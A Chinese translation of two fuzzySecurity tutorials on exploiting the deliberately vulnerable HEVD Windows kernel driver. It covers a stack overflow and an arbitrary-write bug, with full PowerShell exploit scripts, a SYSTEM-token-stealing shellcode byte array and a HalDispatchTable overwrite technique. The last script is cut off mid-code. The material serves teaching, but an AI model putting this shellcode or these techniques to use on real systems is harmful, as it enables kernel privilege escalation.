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可以看到如果IOCTL码是0x222003，我们就会转入到TriggerStackOverflow函数的调用分支。花些时间来调查一下这一switch语句。最基本的，输入IOCTL通过比较大小来进行匹配，一路递减直到找到一个合法的码值或干脆命中最后的"Invalid IOCTL…"。

看看TriggerStackOverflow函数，我们或多或少可以看到在源码中发现的内容，注意到kernel buffer长度为0x800(2048)。
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Pwn! Pwn! Pwn!

我们已掌握了所有线索，下面就尝试去调用该漏洞方法，传递给它一些数据。这是我在PowerShell中编织的模板代码：

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
$Buffer = [Byte[]](0x41)*0x100
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
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非常棒，从调试器的输出中可以看到我们调用到了目标函数。显然我们没有发送足够多的数据来触发溢出。让我们试试发送一个0x900(2304)大小的buffer。
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好吧，VM蓝屏了，经过一些辅助的运算我们可以找出到EIP精准的偏移（EBP也一样）。我把这留给读者作为练习（别忘了pattern_create）。让我们修改POC代码，再次出发溢出。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
#---[EIP control]
# 0x41 = 0x800 (buffer allocated by the driver)
# 0x42 = 28 (filler)
# 0x43 = 4 (EBP)
# 0x44 = 4 (EIP)
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*28 + [Byte[]](0x43)*4 + [Byte[]](0x44)*4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
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我们的代码在内核空间执行了，但是我们并不能为所欲为的执行任意shellcode。有非常多的内容值得我们尝试（例如，写一个ring3层shellcode stager），但我觉着目前最好还是做一个简单的提权攻击。

在Windows中所有的对象都有安全描述符，它们定义了在对象上谁可以执行哪些行为。有很多种tokens用于描述这些访问权限，但是"NT AUTHORITY\SYSTEM" token拥有最高权限。也就是说它可以在系统上的任何对象上执行任意行为（实际上，这非常复杂）。在最基础的层面，我们想让我们的shellcode可以做到：(1)找到当前进程的token(powershell)，(2)循环遍历进程列表直到找到一个系统进程(System Process)(PID 为4，这是个静态的系统进程PID)，(3)找到该进程的token，(4)用其值覆盖当前进程的token。

编写该shellcode有一点点长，你需要去查找一些静态的偏移量，我不会在这里详述。简单来说，可以查阅"x64 Kernel Privilege Escalation"一文，此外HackSysTeam驱动中也内置了一些payload示例。可以在下面看到通用的shellcode结构。

#---[Setup]
pushad                             ; Save register state
mov eax, fs:[KTHREAD_OFFSET]       ; nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]   ; nt!_KTHREAD.ApcState.Process
mov ecx, eax
mov ebx, [eax + TOKEN_OFFSET]      ; nt!_EPROCESS.Token
#---[Copy System PID token]
mov edx, 4                         ; PID 4 -> System
mov eax, [eax + FLINK_OFFSET] <-|  ; nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET           |
cmp [eax + PID_OFFSET], edx     |  ; nt!_EPROCESS.UniqueProcessId
jnz                           ->|  ; Loop !(PID=4)
mov edx, [eax + TOKEN_OFFSET]      ; System nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx      ; Replace PowerShell token
#---[Recover]
popad                              ; Restore register state


这一解决方案是可用的但唯独缺少了一个东西。当我们触发溢出并执行shellcode后我们会搞乱堆栈。我们希望shellcode可以补偿这一遗失以保证在复制了系统进程的token后，VM不会蓝屏。

对crash的调查揭示了我们实际上在退出TriggerStackOverflow函数时只是通过覆盖返回地址来获取EIP的控制。
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让我们在该地址下个断点，给驱动发送一个小的buffer使得我们可以看到在正常执行时发生了些什么。

****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01F454A8
[+] UserBuffer Size: 0x100
[+] KernelBuffer: 0x93E933B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800     ret     8     <-------[Stack]  93e93bd4 936045f4 HackSysExtremeVulnerableDriver+0x45f4
                                                   93e93bd8 01f454a8 
                                                   93e93bdc 00000100 
                                                   93e93be0 93e93bfc 
                                                   93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
HackSysExtremeVulnerableDriver+0x45f4:
936045f4 5d         pop     ebp   <-------[Stack]  93e93be0 93e93bfc 
                                                   93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
                                                   93e93be8 856cc268 
HackSysExtremeVulnerableDriver+0x45f5:
936045f5 c20800     ret     8     <-------[Stack]  93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
                                                   93e93be8 856cc268 
                                                   93e93bec 856cc2d8 
                                                   93e93bf0 84be4a80 
 

****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01DE8608
[+] UserBuffer Size: 0x824
[+] KernelBuffer: 0x93B4B3B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800     ret     8     <-------[Stack]  93b4bbd4 44444444 
                                                   93b4bbd8 01de8608 
                                                   93b4bbdc 00000824 
                                                   93b4bbe0 93b4bbfc 
                                                   93b4bbe4 9360503d HackSysExtremeVulnerableDriver+0x503d


让我们看看栈长什么样。

很幸运，当我们做宝贵的覆盖时，这并不算太坏。当我们的shellcode执行后我们需要简单的模拟"pop ebp"和"ret 8"，这一执行流会重定向回HackSysExtremeVulnerableDriver+0x503d这一正确的地址。尽管它不是那么显而易见，我们也想清掉EAX，就好像该驱动函数返回了NTSTATUS->STATUS_SUCCESS(0x00000000)。

这可以达成欺骗效果！最终的shellcode如下：

$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)


我写出汇编代码并使用Keystone引擎来编译。

大功告成

万事俱备，剩下的就是在内存中的某处分配我们的shellcode，用它的地址覆盖EIP。记着该shellcode内存应该被标记为R/W/E。完整的exploit如下：

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)
 
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
 
# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, 
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# HACKSYS_EVD_STACKOVERFLOW IOCTL = 0x222003
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*32 + $EIP
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
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译者注：我在本地测试时，WinDbg的输出和作者的不太一样，我是用!analyze -v来查看崩溃现场，输出的信息有点冗余，没有原作者的输出信息清爽，所以windbg部分的信息与截图保留了原作者的版本。

HEVD是我个人强烈推荐的入门Windows内核漏洞的靶场，实际上内核漏洞并不难掌握，无非就是以下两点：


	调试起来没有用户态那么方便，双机联调+频繁BSOD确实很消磨耐性

	如果不熟悉WRK，则容易被内核错综复杂的数据结构绕晕，一时云里雾里



HEVD从一个简单的内核驱动程序入手，展示了各种常见的漏洞，让新手可以绕开复杂的Windows内核，掌握内核漏洞的利用。

点击查看原文








  
  
  Welcome file
  





  第十一部分：内核利用程序之任意位置任意写

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第二篇。点击查看原文。


欢迎来到Windows exp开发系列的第十一部分。今天我们会使用HEVD来编写一个内核层任意位置任意写的漏洞exp。关于调试环境安装的细节请参考第十部分。因为时间有限，我一般会非常快速的过一遍这些邮件，但如果你有任何疑问的话请依然让我知晓，我们开始吧！


	
HackSysExtremeVulnerableDriver (hacksysteam) - here



	
Driver write-what-where vulnerability - here



	
Arbitrary Memory Overwrite exploitation using HalDispatchTable - here





侦查挑战

让我们看一看含有该漏洞的函数(here)。

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserWriteWhatWhere,
                     sizeof(WRITE_WHAT_WHERE),
                     (ULONG)__alignof(WRITE_WHAT_WHERE));
 
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", UserWriteWhatWhere->What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", UserWriteWhatWhere->Where);
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)UserWriteWhatWhere->Where,
                     sizeof(PULONG),
                     (ULONG)__alignof(PULONG));
        ProbeForRead((PVOID)UserWriteWhatWhere->What,
                     sizeof(PULONG),
                     (ULONG)__alignof(PULONG));
 
        *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");
 
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


该驱动持有两个指针，一个用于展示驱动将写入内存的值，另一个提供了驱动将要写的位置。同样的，显示了漏洞的同时也显示了安全的实现体。这里的问题在于驱动没有检查目标指针的地址是否在用户空间，因此我们可以用任意4字节值覆写任意内核4字节地址。

此前我们看到过如何通过分析IrpDeviceIoCtlHandler表来获取函数的IOCTL。这里我们将学习一种不同的方法。驱动头文件driver header展示了所有的定义的函数。

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS               CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW                   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT                 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT            CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_TYPE_CONFUSION                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW                CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE     CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, 
METHOD_NEITHER, FILE_ANY_ACCESS)


 

I/O Control Codes (IOCTL's) are composed of a few different components (type, code, method, access). The interesting thing is that the Windows driver kit has a standard macro which can be used to define new IOCTL's. We can actually extract all the valid IOCTL's by emulating the macro functionality as show below.

 

PowerShell v3+:
"{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (FUNC_NUM_HERE -shl 2) -bor 0x00000003)

C++\C#:
(0x00000022 << 16) | (0x00000000 << 14) | (FUNC_NUM_HERE << 2) | 0x00000003

Example:
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE = 0x802
=> "{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (0x802 -shl 2) -bor 0x00000003)
=> IOCTL = 0x22200B


I/O控制码（IOCTL’s）又一些不同的组件（类型，码值，方法，访问权限）构成。有意思的是WDK有一个标准的宏可以用于定义新的IOCTL。我们实际上可以通过仿真该宏的功能来提取出所有的有效的IOCTL。

阅读更多关于宏的说明here。现在我们有了IOCTL，让我们使用IDA的图形显示板快速的检查一下。
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看起来不错，有个稍微让我困惑的事情是函数要如何决定它将要写哪些字节。它不会写你给它的4字节，它会把这4字节当成一个指针并写入该指针指向的地址处开始的4字节值。缓冲区结构如下。

# The first 4 bytes are a pointer to a pointer
[IntPtr]$WriteWhatPtr(->$WriteWhat) + $WriteWhere


记住这一点，如果你简单的指定你的shellcode的地址，它实际上会写你的shellcode的前4个字节。

我快速组织了一个POC来测试能否顺利调用这个函数。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
  
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
  
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
  
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
  
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
  
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# Buffer = WriteWhat + WriteWhere
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B`n"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
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很好，我们有了exp的原型。

Pwn

真正的问题是到底要覆盖哪个地址（在内核空间），如何找到可信赖的地址，执行后不会BSOD（蓝屏）。幸运的是这项艰巨的工作已经有人做过了，我们可以覆盖一个内核的分发表指针，这相对来说安全（在Ruben Santamarta的2007年发表的“Exploiting common flaws in drivers”论文中第一次描述）。它揭示出有一个未文档化（罕用）的函数——NtQueryIntervalProfile用于量度计数滴答之间的性能。这个函数内部调用了KeQueryIntervalProfile系统调用。反汇编KeQueryIntervalProfile，看起来没什么特别的。
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NtQueryIntervalProfile最终会调用一个在HalDispatchTable+0x4处的指针。如果我们可以覆盖该指针使其指向我们的shellcode，那么当调用NtQueryIntervalProfile时我们的shellcode就可以在内核层运行了。

现在我们知道了想要覆盖的地方，我们还需要弄清楚如何找到HalDispatchTable的地址。幸运的是，我们可以利用一个有用的未文档化的函数——NtQuerySystemInformation。如果我们调用NtQuerySystemInformation且指定SystemModuleInformation类我们可以获取一个加载的模块列表以及他们各自的基地址（包括NT内核）。我将节约读者去看关于该函数糟糕的细节的时间，我写了一个PowerShell脚本来做这一项工作， Get-SystemModuleInformation。
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它有效的绕过了内核中的ASLR，因为我们可以使用加载模块的基地址来计算任意函数的偏移。下面你会看到使用简单的指针算术运算来获取HalDispatchTable偏移的过程。

$SystemModuleArray = Get-SystemModuleInformation
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [Kernel32]::LoadLibrary("$KernelType")
$HALUserLand = [Kernel32]::GetProcAddress($KernelHanle, "HalDispatchTable")
$HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase


[image: ]
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我们可以重用上一节创建的窃取token的shellcode，完善其中的一部分。

$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)


我们无需还原那些此前所用的额外说明。此外，我们劫持了一个函数调用，所以需要保存寄存器的状态，shellcode执行后需要返回到执行流继续正常执行。

终结

这就是完整的运行体，设置指针以及分配shellcode的过程中海有一些次要的细节。可以参考下面完整的exp来了解更多信息。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_MODULE_INFORMATION
{
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
    public UIntPtr[] Reserved;
    public IntPtr ImageBase;
    public UInt32 ImageSize;
    public UInt32 Flags;
    public UInt16 LoadOrderIndex;
    public UInt16 InitOrderIndex;
    public UInt16 LoadCount;
    public UInt16 ModuleNameOffset;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
    internal Char[] _ImageName;
    public String ImageName {
        get {
            return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
        }
    }
}
 
public static class EVD
{
    [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);
          
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("ntdll.dll")]
    public static extern int NtQuerySystemInformation(
        int SystemInformationClass,
        IntPtr SystemInformation,
        int SystemInformationLength,
        ref int ReturnLength);
 
    [DllImport("ntdll.dll")]
    public static extern uint NtQueryIntervalProfile(
        UInt32 ProfileSource,
        ref UInt32 Interval);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
# Call NtQuerySystemInformation->SystemModuleInformation
# & Alloc buffer for the result
[int]$BuffPtr_Size = 0
while ($true) {
    [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
    $SystemInformationLength = New-Object Int
    # SystemModuleInformation Class = 11
    $CallResult = [EVD]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
 
    # STATUS_INFO_LENGTH_MISMATCH
    if ($CallResult -eq 0xC0000004) {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
    }
    # STATUS_SUCCESS
    elseif ($CallResult -eq 0x00000000) {
        break
    }
    # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
    else {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n"
        return
    }
}
 
# Create SystemModuleInformation struct
